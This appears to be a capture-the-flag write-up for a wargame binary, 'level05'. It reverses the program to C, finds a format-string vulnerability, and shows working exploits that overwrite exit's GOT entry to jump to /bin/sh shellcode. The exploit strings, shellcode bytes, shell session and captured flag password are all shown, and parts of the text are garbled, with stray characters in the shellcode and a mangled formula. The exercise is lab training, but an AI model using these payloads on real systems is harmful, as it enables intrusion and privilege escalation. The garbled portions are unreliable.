

## LEVEL 0.5:

[illegible]

We can see that the program reads on stdin once before printing what we wrote with a maximum size.

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level05@Override:~$ readelf -h level05
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                              ELF32
  Data:                                  2's complement, little endian
  Version:                              1 (current)
```

We can observe that the binary is in 32bits

## Reverse:

## Strings:

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→ ex05 strings ../Debug_files/level05
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IIO_stdin_used
exit
stdin
printf
fgets
__libc_start_main
GLIBC_2.0
PTRh
QVhD
<@~2
UWVS
[^_]
;*2$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab

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Only exit, stdin, printf, and fgets are used.

Objdump -d:

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08048444 <main>:
8048444:    55                push    %ebp
8048445:    89 e5             mov     %esp,%ebp
8048447:    57                push    %edi
8048448:    53                push    %ebx
8048449:    83 e4 f0          and     $0xfffffffff0,%esp
804844c:    81 ec 90 00 00 00 sub     $0x90,%esp
8048452:    c7 84 24 8c 00 00 00 movl    $0x0,0x8c(%esp)
8048459:    00 00 00 00
804845d:    a1 f0 97 04 08    mov     0x80497f0,%eax
8048462:    89 44 24 08        mov     %eax,0x8(%esp)
8048466:    c7 44 24 04 64 00 00 movl    $0x64,0x4(%esp)
804846d:    00
804846e:    8d 44 24 28        lea     0x28(%esp),%eax
8048472:    89 04 24            mov     %eax,(%esp)
8048475:    e8 d6 fe ff ff    call    8048350 <fgets@plt>
804847a:    c7 84 24 8c 00 00 00 movl    $0x0,0x8c(%esp)
8048481:    00 00 00 00
8048485:    eb 4c             jmp     80484d3 <main+0x8f>
8048487:    8d 44 24 28        lea     0x28(%esp),%eax
804848b:    03 84 24 8c 00 00 00 add     0x8c(%esp),%eax

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8048492:	0f b6 00	movzbl (%eax),%eax
8048495:	3c 40	cmp \$0x40,%al
8048497:	7e 32	jle 80484cb <main+0x87>
8048499:	8d 44 24 28	lea 0x28(%esp),%eax
804849d:	03 84 24 8c 00 00 00	add 0x8c(%esp),%eax
80484a4:	0f b6 00	movzbl (%eax),%eax
80484a7:	3c 5a	cmp \$0x5a,%al
80484a9:	7f 20	jg 80484cb <main+0x87>
80484ab:	8d 44 24 28	lea 0x28(%esp),%eax
80484af:	03 84 24 8c 00 00 00	add 0x8c(%esp),%eax
80484b6:	0f b6 00	movzbl (%eax),%eax
80484b9:	89 c2	mov %eax,%edx
80484bb:	83 f2 20	xor \$0x20,%edx
80484be:	8d 44 24 28	lea 0x28(%esp),%eax
80484c2:	03 84 24 8c 00 00 00	add 0x8c(%esp),%eax
80484c9:	88 10	mov %dl,(%eax)
80484cb:	83 84 24 8c 00 00 00	addl \$0x1,0x8c(%esp)
80484d2:	01	
80484d3:	8b 9c 24 8c 00 00 00	mov 0x8c(%esp),%ebx
80484da:	8d 44 24 28	lea 0x28(%esp),%eax
80484de:	c7 44 24 1c ff ff ff	movl \$0xffffffff,0x1c(%esp)
80484e5:	ff	
80484e6:	89 c2	mov %eax,%edx
80484e8:	b8 00 00 00 00	mov \$0x0,%eax
80484ed:	8b 4c 24 1c	mov 0x1c(%esp),%ecx
80484f1:	89 d7	mov %edx,%edi
80484f3:	f2 ae	repnz scas %es:(%edi),%al
80484f5:	89 c8	mov %ecx,%eax

  

80484f7:	f7 d0	not %eax
80484f9:	83 e8 01	sub \$0x1,%eax
80484fc:	39 c3	cmp %eax,%ebx
80484fe:	72 87	jb 8048487 <main+0x43>
8048500:	8d 44 24 28	lea 0x28(%esp),%eax
8048504:	89 04 24	mov %eax,(%esp)
8048507:	e8 34 fe ff ff	call 8048340 <printf@plt>
804850c:	c7 04 24 00 00 00 00	movl \$0x0,(%esp)
8048513:	e8 58 fe ff ff	call 8048370 <exit@plt>
8048518:	90	nop
8048519:	90	nop
804851a:	90	nop

Reversed source:

```

1 #include <stdio.h>
2 #include <stdlib.h>
3
4 __attribute__((force_align_arg_pointer)) void main()
5 {
6     // ebp = 0xffffd708
7     char pushed_reg[0x8];    // 0xffffd700
8     int i = 0;               // 0xffffd6fc
9     char s0[0x6c];          // 0xffffd698
10    int j;                   // 0xffffd694
11    int k;                   // 0xffffd690
12    int len = 0;             // 0xffffd68c
13    char s2[0x1c];           // 0xffffd670
14
15    fgets(s0, 0x64, stdin);
16    i = 0;
17    while (s0[len])
18        len++;
19    while (i < len)
20    {
21        if (s0[i] >= 0x41 && s0[i] <= 0x59)
22            s0[i] = s0[i] ^ 0x20;
23        i++;
24    }
25    printf(s0);
26    exit(0);
27 }

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We can overwrite the address of exit (in libc.so) that is stored in the .got.plt, by the address of system(), using printf exploit.

But how can I modify the stack before the call to exit.  
Or rather than doing a ret to libc, I replace the exit address by the one that will contain a shellcode, provided by fgets();

The stack is executable:

```
GNU_STACK      0x00000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
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***I can write in stdin:***

$$\begin{array}{ccccccc}
 & 3 & * & 4 & = & 12 & & 5 & & 5 & & 4 \\
 5 & & 7 & & 5 & & = & 31 & + & 1 & & == 0x2c + \\
 0xffffd698 & == & 0xffffd6c4 & & & & & & & & & \\
 & \text{target addresses (exit .got.plt)} & * & 3 & + & \%208c & + & \%10\$n
 \end{array}$$

+ %62c + %11\$n + %65321c + %12\$n + '\0' +  
shellcode

And of course I need to check my string and for each octet which the value is between **0x41** and **0x59** included must be XOR with 0x20, because it will be before the printf call. Let's write a program for that.

First, the target addresses are : 0x080497e0, 0x080497e1, 0x080497e2

'\xe0\x97\x04\x08\xe1\x97\x04\x08\xe2\x97\x04\x08'  
+ '%184c%10\$n%18c%11\$n%65321c%12\$n' + '\x0' +  
Shellcode

*Shellcode =*

'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e|\n\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40|\nxcd\x80'

*XOR 0x20 =*

'\x31\xc0\x70\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e|\n\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40|\nxcd\x80'

The '\0' will stop the loop so it won't XOR the shellcode with 0x20

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level05@Override:~$ (echo -en '\xe0\x97\x04\x08\xe1\x97\x04\x08\xe2\x97\x04\x08%184c%10$n%18c%11$n%65321c%12$n\x00\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e|\n\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' ; cat -) | ./level05
pwd
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pwd
Segmentation fault (core dumped)
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Let's try another shellcode:

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88|\n\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x

0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42

...

Another method is to write the shellcode on the stack but in an environment variable (I guess in an argument it would be the same).

The destination address: 0xffffdfbf

the target addresses are still: 0x080497e0, 0x080497e1, 0x080497e2

x y z = 192 12 65319

'\xe0\x97\x04\x08\xe1\x97\x04\x08\xe2\x97\x04\x08%192c%10\$n%12c%11\$n%65319c%12\$n\x00'

to store in env var

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

The address of my environment variable: 0xffffdfbf

Value to write: **dfbf - 8 & ffff - dfbd**

'\xe0\x97\x04\x08\xe2\x97\x04\x08%57271c%10\$n%8256c%11\$n'

That is weird, but I think for alignment problem, or to be sure to find the correct, address, we need to execute at least 8 (nop) before the beginning of the shellcode otherwise it segfault. Weird.

Maybe I should try the same method by passing the shellcode by argument. (It doesn't work, I don't know why)

```
level05@Override:~$ (python -c 'print "\xe0\x97\x04\x08\xe2\x97\x04\x08"+"%57271c%10"+"%x24"+"n%8256c%11"+"%x24"+"n";cat') | env -i SHELLCODE=$(python -c 'print 8*"\x90"+"%x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"') level05 █
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pwd
/home/users/level05
whoami
level06
cat ../level06/.pass
cat: ../level06/.pass: Permission denied
cat ../../../../home/users/level06/.pass
cat: ../../../../home/users/level06/.pass: Permission denied
cat /home/users/level06/.pass
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq
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Flag:

h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq